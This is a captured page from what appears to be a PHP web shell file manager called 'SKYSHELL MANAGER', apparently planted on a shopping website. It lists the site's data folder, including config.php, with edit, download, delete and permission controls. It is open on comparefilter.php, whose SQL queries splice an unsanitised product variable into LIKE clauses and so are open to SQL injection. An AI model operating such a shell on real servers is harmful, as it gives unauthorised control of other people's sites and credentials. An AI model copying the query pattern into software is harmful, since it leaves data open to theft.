📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
329.58 KB
0644
🗑️
⬇️
✏️
🔒
Editing: comparefilter.php
<?php if(isset($_POST['filter'])){ $filt=$_POST['filter']; if($filt=="1"){ $sql = "SELECT all* from stocks WHERE status ='Yes' && store='1' && name LIKE '%".substr($product, 0, -1)."%' OR altname LIKE '%".substr($product, 0, -1)."%' ORDER by name ASC "; } if($filt=="2"){ $sql = "SELECT all* from stocks WHERE status ='Yes' && store='1' && name LIKE '%".substr($product, 0, -1)."%' OR altname LIKE '%".substr($product, 0, -1)."%' ORDER by name DESC "; } if($filt=="3"){ $sql = "SELECT all* from stocks WHERE status ='Yes' && store='1' && name LIKE '%".substr($product, 0, -1)."%' OR altname LIKE '%".substr($product, 0, -1)."%' ORDER by s DESC"; } if($filt=="4"){ $sql = "SELECT all* from stocks WHERE status ='Yes' && store='1' && name LIKE '%".substr($product, 0, -1)."%' OR altname LIKE '%".substr($product, 0, -1)."%' ORDER by s ASC"; } if($filt=="5"){ $sql = "SELECT all* from stocks WHERE status ='Yes' && store='1' && name LIKE '%".substr($product, 0, -1)."%' OR altname LIKE '%".substr($product, 0, -1)."%' ORDER by retail_price DESC"; } if($filt=="6"){ $sql = "SELECT all* from stocks WHERE status ='Yes' && store='1' && name LIKE '%".substr($product, 0, -1)."%' OR altname LIKE '%".substr($product, 0, -1)."%' ORDER by retail_price ASC"; } } else{ $sql = "SELECT all* from stocks WHERE status ='Yes' && store='1' && name LIKE '%".substr($product, 0, -1)."%' OR altname LIKE '%".substr($product, 0, -1)."%' ORDER by s DESC"; } ?>
💾 Save Changes